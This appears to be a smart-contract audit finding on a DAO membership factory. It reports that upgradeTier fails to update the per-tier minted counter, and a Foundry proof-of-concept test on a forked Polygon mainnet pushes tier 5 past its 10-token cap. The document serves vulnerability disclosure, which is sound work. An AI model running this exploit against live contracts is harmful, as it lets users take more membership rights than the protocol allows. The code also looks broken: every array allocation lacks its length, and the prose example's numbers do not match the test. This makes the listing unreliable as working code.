The "MembershipFactory.upgradeTier" function does not update the "daos[daoMembershipAddress].tiers[tierIndex].minted" variable. This oversight could allow the total number of minted tokens to exceed the maximum limit set by the protocol, leading to an inconsistency within the protocol.
When a user joins a DAO at, for example, Tier level 5, a token is minted, and the minted token count is incremented to ensure that the maximum number of tokens for that tier (e.g., 10) is not exceeded.
However, a user could mint 10 tokens at Tier level 5, then mint 10 more tokens at Tier level 6, and subsequently upgrade the Tier 6 tokens back to Tier 5. As a result, the user could end up with 15 tokens at Tier 5, even though the protocol only permits a maximum of 10 tokens to be minted at this level.
This creates an inconsistency within the protocol.
This vulnerability allows a user to acquire more rights than intended by the protocol.
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OWPERC20} from "../contracts/shared/testERC20.sol";
import {DAOConfig, DAOInputConfig, TierConfig, DAOType} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
contract Finding_01Test is Test {
MembershipFactory membershipFactory;
MembershipERC1155 membershipERC1155;
CurrencyManager currencyManager;
ProxyAdmin proxyAdmin;
IERC20 USDC = IERC20(0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359);
IERC20 WBTC = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6);
IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
OWPERC20 testERC20;
address owner = address(this);
address alice = address(0x1);
address bob = address(0x2);
address attacker = address(0x3);
address[] addrs;
uint64 constant TIER_MAX = 7;
address private currency1;
address private currency2;
function setUp() public {
uint256 polygonChainid =
vm.createFork("https://polygon-mainnet.g.alchemy.com/v2/XXXXXXXXXXXXXXXX");
vm.selectFork(polygonChainid);
console.log("active fork: ", polygonChainid);
currencyManager = new CurrencyManager();
membershipERC1155 = new MembershipERC1155();
membershipFactory = new MembershipFactory(
address(currencyManager), address(owner), "https://baseuri.com/", address(membershipERC1155)
);
testERC20 = new OWPERC20("OWPERC20", "OWP");
TierConfig[] memory tierConfigs = new TierConfig[]();
tierConfigs[0] = TierConfig({price: 300, amount: 10, minted: 0, power: 12});
tierConfigs[1] = TierConfig({price: 200, amount: 10, minted: 0, power: 6});
tierConfigs[2] = TierConfig({price: 100, amount: 10, minted: 0, power: 3});
DAOConfig memory daoConfig = DAOConfig({
ensname: "testdao.eth",
daoType: DAOType.PUBLIC,
tiers: tierConfigs,
currency: address(testERC20),
maxMembers: 100,
noOfTiers: 3
});
DAOInputConfig memory daoInputConfig = DAOInputConfig({
ensname: "testdao.eth",
daoType: DAOType.PUBLIC,
currency: address(testERC20),
maxMembers: 100,
noOfTiers: 3
});
testERC20.mint(alice, 1000 * 1e18);
testERC20.mint(bob, 1000 * 1e18);
deal(address(USDC), alice, 1000 * 1e6);
deal(address(USDC), bob, 1000 * 1e6);
deal(address(WBTC), alice, 1000 * 1e8);
deal(address(WBTC), bob, 1000 * 1e8);
deal(address(WETH), alice, 1000 * 1e18);
deal(address(WETH), bob, 1000 * 1e18);
currencyManager.grantRole(currencyManager.ADMIN_ROLE(), alice);
currency1 = address(USDC);
currency2 = address(WBTC);
}
function testUpdateDAOMembershipBug() public {
DAOInputConfig memory daoInputConfig = DAOInputConfig({
ensname: "testdao.eth",
daoType: DAOType.SPONSORED,
currency: address(WBTC),
maxMembers: 100,
noOfTiers: 7
});
TierConfig[] memory tierConfigs = new TierConfig[]();
tierConfigs[0] = TierConfig({price: 700, amount: 10, minted: 0, power: 128});
tierConfigs[1] = TierConfig({price: 600, amount: 10, minted: 0, power: 64});
tierConfigs[2] = TierConfig({price: 500, amount: 10, minted: 0, power: 32});
tierConfigs[3] = TierConfig({price: 400, amount: 10, minted: 0, power: 16});
tierConfigs[4] = TierConfig({price: 300, amount: 10, minted: 0, power: 8});
tierConfigs[5] = TierConfig({price: 200, amount: 10, minted: 0, power: 4});
tierConfigs[6] = TierConfig({price: 100, amount: 10, minted: 0, power: 2});
currencyManager.addCurrency(address(WBTC));
address daoAddress = membershipFactory.createNewDAOMembership(daoInputConfig, tierConfigs);
vm.prank(alice);
WBTC.approve(address(membershipFactory), 1000000);
vm.prank(bob);
WBTC.approve(address(membershipFactory), 1000000);
vm.prank(alice);
membershipFactory.joinDAO(daoAddress, 6);
vm.prank(alice);
membershipFactory.joinDAO(daoAddress, 6);
vm.prank(alice);
membershipFactory.joinDAO(daoAddress, 6);
vm.prank(alice);
membershipFactory.joinDAO(daoAddress, 6);
vm.prank(bob);
membershipFactory.joinDAO(daoAddress, 6);
uint256 balance = MembershipERC1155(daoAddress).balanceOf(alice, 6);
assertEq(balance, 4);
uint256 balanceBob = MembershipERC1155(daoAddress).balanceOf(bob, 6);
assertEq(balanceBob, 1);
TierConfig memory tiersConf = membershipFactory.tiers(daoAddress)[6];
assertEq(tiersConf.minted, 5);
assertEq(tiersConf.price, 100);
assertEq(tiersConf.amount, 10);
TierConfig[] memory tierConfigsUpdate = new TierConfig[]();
tierConfigsUpdate[0] = TierConfig({price: 70, amount: 10, minted: 0, power: 128});
tierConfigsUpdate[1] = TierConfig({price: 60, amount: 10, minted: 0, power: 64});
tierConfigsUpdate[2] = TierConfig({price: 50, amount: 10, minted: 0, power: 32});
tierConfigsUpdate[3] = TierConfig({price: 40, amount: 10, minted: 0, power: 16});
tierConfigsUpdate[4] = TierConfig({price: 30, amount: 10, minted: 0, power: 8});
tierConfigsUpdate[5] = TierConfig({price: 20, amount: 10, minted: 0, power: 4});
tierConfigsUpdate[6] = TierConfig({price: 10, amount: 10, minted: 0, power: 2});
membershipFactory.updateDAOMembership("testdao.eth", tierConfigsUpdate);
TierConfig memory tiersConUpdate = membershipFactory.tiers(daoAddress)[6];
assertEq(tiersConUpdate.minted, 5);
assertEq(tiersConUpdate.price, 10);
assertEq(tiersConUpdate.amount, 10);
vm.prank(alice);
membershipFactory.upgradeTier(daoAddress, 6);
vm.prank(alice);
membershipFactory.upgradeTier(daoAddress, 6);
balance = MembershipERC1155(daoAddress).balanceOf(alice, 6);
assertEq(balance, 0);
balance = MembershipERC1155(daoAddress).balanceOf(alice, 5);
assertEq(balance, 2);
balanceBob = MembershipERC1155(daoAddress).balanceOf(bob, 6);
assertEq(balanceBob, 1);
for (uint256 i = 0; i < 10; i++) {
vm.prank(alice);
membershipFactory.joinDAO(daoAddress, 5);
}
TierConfig memory tiersConfUpgrade = membershipFactory.tiers(daoAddress)[5];
assertEq(tiersConfUpgrade.minted, 12);
}
}